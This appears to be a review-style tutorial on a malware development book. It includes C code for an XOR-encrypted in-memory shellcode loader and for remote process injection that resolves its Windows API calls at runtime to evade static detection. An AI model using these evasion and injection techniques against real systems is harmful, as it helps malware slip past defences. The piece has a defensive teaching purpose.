The argument at the center of Zhassulan Zhussupov's Malware Development for Ethical Hackers is uncomfortable and correct: if you cannot write the attack, you do not fully understand what you're defending against.
This is about the epistemology of adversarial security. Blue teams that have never written a persistence mechanism do not recognize one the way red teams do. Defenders who have never obfuscated a payload cannot reliably distinguish obfuscated from clean. The knowledge asymmetry is a vulnerability, and the book treats it as one.
Authorized testing environments, written permission, scoped engagements, the legal scaffolding is table stakes. The point is what happens inside that scaffolding.
Static Detection Bypass: XOR and the Signature Problem
Antivirus and EDR static analysis work by matching byte patterns against known signatures. The same payload, XOR'd with a single byte key, produces a completely different byte sequence. No signature match. Clean scan.
#include <windows.h>
#include <stdio.h>
// XOR encrypt/decrypt — symmetric, so the same function does both
void xor_crypt(unsigned char *data, size_t len, unsigned char key) {
for (size_t i = 0; i < len; i++) {
data[i] ^= key;
}
}
// In a real implant: payload bytes are stored XOR'd in the binary
// At runtime: decrypt in memory, execute from memory
// The plaintext payload never touches disk — no file to scan
unsigned char encrypted_payload[] = {
0x23, 0x71, 0x4a, 0x1f, /* ... XOR'd shellcode bytes ... */
};
int main() {
unsigned char key = 0x42;
size_t payload_len = sizeof(encrypted_payload);
// Decrypt in memory
xor_crypt(encrypted_payload, payload_len, key);
// Allocate executable memory and run
LPVOID exec_mem = VirtualAlloc(
NULL, payload_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
memcpy(exec_mem, encrypted_payload, payload_len);
((void(*)())exec_mem)();
return 0;
}
XOR is the entry-level technique. The book covers it as a foundation, not a destination. Modern implementations use rolling keys, multi-byte XOR, or layer obfuscation with additional encoding. The principle is the same: transform the bytes so they match no known signature, then restore them at runtime inside a process that's already running.
Function Call Obfuscation: Hiding Intent from Static Analysis
A binary that imports CreateRemoteThread or VirtualAllocEx announces itself to any analyst reading its import table. These are high-signal Windows API calls. Static analysis tools flag binaries that import them.
Dynamic resolution hides the intent. Instead of importing the function directly, resolve it at runtime through GetProcAddressa generic function that returns a pointer to any exported symbol by name. The import table shows LoadLibraryA and GetProcAddress. The actual API calls happen at runtime and are invisible to static analysis.
#include <windows.h>
// Function pointer types for the calls we want to hide
typedef LPVOID (WINAPI *pfnVirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL (WINAPI *pfnWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef HANDLE (WINAPI *pfnCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T,
LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
void inject_via_dynamic_resolution(HANDLE target_process, unsigned char *payload, size_t len) {
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
// Resolve at runtime — not visible in the import table
pfnVirtualAllocEx VAlloc = (pfnVirtualAllocEx) GetProcAddress(hKernel32, "VirtualAllocEx");
pfnWriteProcessMemory WPM = (pfnWriteProcessMemory)GetProcAddress(hKernel32, "WriteProcessMemory");
pfnCreateRemoteThread CRT = (pfnCreateRemoteThread)GetProcAddress(hKernel32, "CreateRemoteThread");
// Allocate memory in the target process
LPVOID remote_buf = VAlloc(target_process, NULL, len,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Write payload into target's memory space
WPM(target_process, remote_buf, payload, len, NULL);
// Execute in target process context
CRT(target_process, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buf, NULL, 0, NULL);
}
The blue team answer is dynamic analysis, actually running the binary and observing what API calls it makes at runtime. Static analysis alone is not sufficient against a binary that resolves its most dangerous calls dynamically. This is the knowledge asymmetry: defenders who have never written this code often rely on static analysis longer than they should.